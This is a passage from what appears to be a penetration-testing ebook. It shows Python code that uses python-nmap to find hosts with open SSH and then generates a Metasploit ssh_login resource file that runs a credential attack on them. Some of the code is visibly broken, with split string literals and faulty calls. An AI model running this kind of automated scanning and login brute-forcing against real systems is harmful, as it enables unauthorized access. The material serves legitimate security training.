Nmap libraries for Python

Python has libraries that allow you to execute nmap scans directly, either through the interactive interpreter or by building multifaceted attack tools. For this example, let's use the nmap library to scan our local Kali instance for a Secure Shell (SSH) service port. Make sure that the service has started by executing the /etc/init.d/ssh start command. Then install the Python nmap libraries with pip install python-nmap.

You can now execute a scan by directly using the libraries, importing them, and assigning nmap.PortScanner() to a variable. That instantiated variable can then be used to execute scans. Let's perform an example scan within the interactive interpreter. The following is an example of a scan for port 22, done using the interactive Python interpreter against the local Kali instance:

Nmap libraries for Python

As you can see, it's a dictionary of dictionaries that can each be called as necessary. It takes a little more effort to execute a scan through the interactive interpreter, but it is very useful in environments you may have gotten a foothold in that have Python, and it will allow you to install libraries during the course of your engagement. The bigger reason for doing this is scripting of methods that will make targeted exploitation easier.

To highlight this, we can create a script that accepts CLI arguments to scan for specific hosts and ports. Since we are accepting arguments from the CLI, we need to import the sys libraries, and because we are scanning with the nmap libraries, we need to import nmap. Remember to use conditional handlers when importing libraries that are not native to Python; it makes the maintainability of tools simple and it is far more professional:

import sys
try:
    import nmap
except:
    sys.exit("[!] Install the nmap library: pip install python-nmap")

Once the libraries have been imported, the script can have the argument requirements designed. We need at least two arguments. This means that if there are less than two arguments or more than two, the script should fail with a help message. Remember that the script name counts as the first argument, so we have to increment it to 3. The results of the required arguments produce the following code:

# Argument Validator
if len(sys.argv) != 3:
    sys.exit("Please provide two arguments the first being the targets the second the ports")
ports = str(sys.argv[2])
addrs = str(sys.argv[1])

Now, if we run the nmap_scanner.py script without any arguments, we should get an error message, as shown in the following screenshot:

Nmap libraries for Python

This is the basic shell of the script into which you can then build the actual scanner. It is a very small component that amounts to instantiating the class and then passing to it the address and ports, which are then printed:

scanner = nmap.PortScanner()
scanner.scan(addrs, ports)
for host in scanner.all_hosts():
    if not scanner[host].hostname():
        print("The host's IP address is %s and it's hostname was not found") % (host)
    else:
        print("The host's IP address is %s and it's hostname is %s") % (host, scanner[host].hostname())

This fantastically small script provides you with the means to quickly execute the necessary scan, as shown in the following screenshot. This test shows the system's virtual interface, which I have tested with both the localhost identifier and the interface IP address. There are two things to note when you are scanning with the localhost identifier: you will receive a hostname. If you are scanning the IP address of the system without querying a name service, you will not be able to identify the host name. The following screenshot shows the output of this script:

Nmap libraries for Python

So, the big benefit here is that now you can start automating exploitation of systems—to a point. These types of automation should be relatively benign so that if something fails, it causes no damage or impact to the environment's confidentiality, integrity, or availability. You can do this through the Metasploit Framework's Remote Procedure Call (MSFRPC), or by automatically building resource files that you can execute. For this example, let's simply build a resource file that can execute a credential attack to check for default Kali credentials; you did change them, right?

We need to generate a file by writing lines to it similar to the commands we would execute in the Metasploit Console. So look at the ssh_login module for Metasploit by performing search ssh_login, and then show the options after loading the console with msfconsole. Identify the required options. The following screenshot shows an example of items that can, and must, be set:

Nmap libraries for Python

Some of these items are already set, but the components that are missing are the remote host's IP address and the credentials we are going to test. The default port is set, but if your script is designed to test for different ports, then this must be set as well. You will notice that the credentials are not required fields, but to execute a credential attack, you do need them. To create this, we are going open and create a file using the write function within Python. We are also going to set the buffer size to zero so that data is automatically written to the file, unlike taking the operating system defaults to flush the data to the file.

The script is also going to create a separate resource file that contains the IP address for each host that it identifies. The additional benefit that comes from running this script is that it creates a list of targets that have SSH enabled. In future, you should try to build scripts that are not designed for testing a single service, but this is a good example to get you started. We are going to build on the previous script concepts, but again we are going to build functions to modularize it. This will allow you to convert it into a class more easily in future. First, we add all the functions of the ifacedetails.py script and the libraries imported. We are then going to modify the argument code of the script so that it accepts more arguments:

# Argument Validator
if len(sys.argv) != 5:
    sys.exit("[!] Please provide four arguments the first being the targets the second the ports, the third the username, and the fourth the password")
password = str(sys.argv[4])
username = str(sys.argv[3])
ports = str(sys.argv[2])
hosts = str(sys.argv[1])

Now build a function that is going to accept the details passed to it that will create a resource file. You will create string variables that contain the necessary values that will be written to the ssh_login.rc file. The details are then written to the file using the simple open command with the relevant bufsize of 0, as mentioned earlier. The file now has string values written to it. Once the process is completed, the file is closed. Keep in mind when you look at the string values for the set_rhosts value. Notice that it points to a file that contains one IP address per line. So, we need to generate this file and then pass it to this function:

def resource_file_builder(dir, user, passwd, ips, port_num, hosts_file):
    ssh_login_rc = "%s/ssh_login.rc" % (dir)
    bufsize=0
    set_module = "use auxiliary/scanner/ssh/ssh_login 
"
    set_user = "set username " + username + "
"
    set_pass = "set password " + password + "
"
    set_rhosts = "set rhosts file:" + hosts_file + "
"
    set_rport = "set rport" + ports + "
"
    execute = "run
"
    f = open(ssh_login_rc, 'w', bufsize)
    f.write(set_module)
    f.write(set_user)
    f.write(set_pass)
    f.write(set_rhosts)
    f.write(execute)
    f.closed

Next, let's build the actual target_identifier function, which will scan for targets using the nmap library using the port and IPs supplied. First, it clears the contents of the ssh_hosts file. Then it checks whether the scan was successful or not. If the scan was successful, the script initiates a for lookup for each host identified through the scan. For each of those hosts, it loads the interface dictionary and iterates through the key-and-value pairs.

The key holds the interface name, and the value is an embedded dictionary that holds the details for each of the values of that interface mapped to named keys, as shown in the previous ifacedetails.py script. The value of the the 'addr' key is compared with the host from the scan. If the two match, then the host belongs to the assessor's box and not the organization being assessed. When this happens, the host value is set to None and the target is not added to the ssh_hosts file. There is a final check to verify that the port is actually an SSH port and that it is open. Then the value is written to the ssh_hosts file and returned to the main function. The script does not block out the localhost IP address because we left it in for both testing and to highlight as a comparison, if you want to include this capability modifying this module:

def target_identifier(dir,user,passwd,ips,port_num,ifaces):
    bufsize = 0
    ssh_hosts = "%s/ssh_hosts" % (dir)
    scanner = nmap.PortScanner()
    scanner.scan(ips, port_num)
    open(ssh_hosts, 'w').close()
    if scanner.all_hosts():
        e = open(ssh_hosts, 'a', bufsize)
    else:
        sys.exit("[!] No viable targets were found!")
    for host in scanner.all_hosts():
        for k,v in ifaces.iteritems():
            if v['addr'] == host:
                print("[-] Removing %s from target list since it 
                    belongs to your interface!") % (host)
                host = None
        if host != None:
            home_dir="/root"
            ssh_hosts = "%s/ssh_hosts" % (home_dir)
            bufsize=0
            e = open(ssh_hosts, 'a', bufsize)
            if 'ssh' in scanner[host]['tcp'][int(port_num)]['name']:
                if 'open' in scanner[host]['tcp'][int(port_num)]['state']:
                    print("[+] Adding host %s to %s since the service is active on %s") % 
                        (host,ssh_hosts,port_num)
                    hostdata=host + "
"
                    e.write(hostdata)
    if not scanner.all_hosts():
        e.closed
    if ssh_hosts:
        return ssh_hosts

Now the script needs some default values set prior to execution. The easiest way to do this is to set them after the argument validator. Take a look at your script, eliminate the duplicates outside of functions (if there are any), and place the following code after the argument validator:

home_dir="/root"
gateways = {}
network_ifaces={}

One final change to the script is the inclusion of a test to see whether it was executed as a standalone script or it was an imported module. We have been executing these scripts natively without this, but it is best practice to include a simple check so that the script can be converted into a class. The only thing this check does is see whether the name of the module executed is main, and if it is, it means that it was a standalone script. When this happens, it sets __name__ to '__main__', signifying the standalone script.

Look at the following code, which executes the relevant functions in order of necessity. This is done to identify the viable hosts to exploit and then pass the details to the resource file generator:

if __name__ == '__main__':
    gateways = get_gateways()
    network_ifaces = get_networks(gateways)
    hosts_file = target_identifier(home_dir,username,
      password,hosts,ports,network_ifaces)
    resource_file_builder(home_dir, username, 
      password, hosts, ports, hosts_file)

You will often see on the Internet scripts that call a main() function instead of a bunch of functions. This is functionally equivalent to what we are doing here, but you can create a main() function above the if __name__ == '__main__': that contains the preceding details, and then execute it as highlighted here:

if __name__ == '__main__':
    main()

With these minor changes, you can automatically generate resource files based on the results of a scan. Finally, change the script name to ssh_login.py and then save and run it. When the script is run, it generates the code necessary for configuring and executing the exploit. Then you can run the resource file with the -r option, as shown in the following screenshot. As you may have noticed, I did a test run that included my interface IP address to highlight the built-in error checking, and then executed the test against localhost. I verified that the resource file was created correctly and then ran it.

Nmap libraries for Python

Once in the console, you can see that the resource file executed the attack on its own with the following results. The green + sign means that a shell was opened on the Kali box.

Nmap libraries for Python

Resource files can also be called from within Metasploit using the resource command followed by the filename. This can be done for this attack with the following command resource ssh_login.rc, which would have produced the same results. You can then see the interaction with the new session opened up by initiating an interaction with the new session using the session -i <session number> command.

The following screenshot shows the validation of the username and hostname in the Kali instance:

Nmap libraries for Python

Of course, you would not want to do this to your normal attack box, but it provides three key items, and they need to be foot stomped. Always change your default password; otherwise, you may be a victim, even during an engagement. Also change your Kali instance hostname to something defensive network tools will not pick up, and always test your exploits prior to usage.

Note

More details about the Python nmap library can be found at http://xael.org/norman/python/python-nmap/.

Now, with an understanding of nmap, nmap libraries, and the automated generation of Metasploit resource files, you are ready to start learning about scapy.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.15.31.22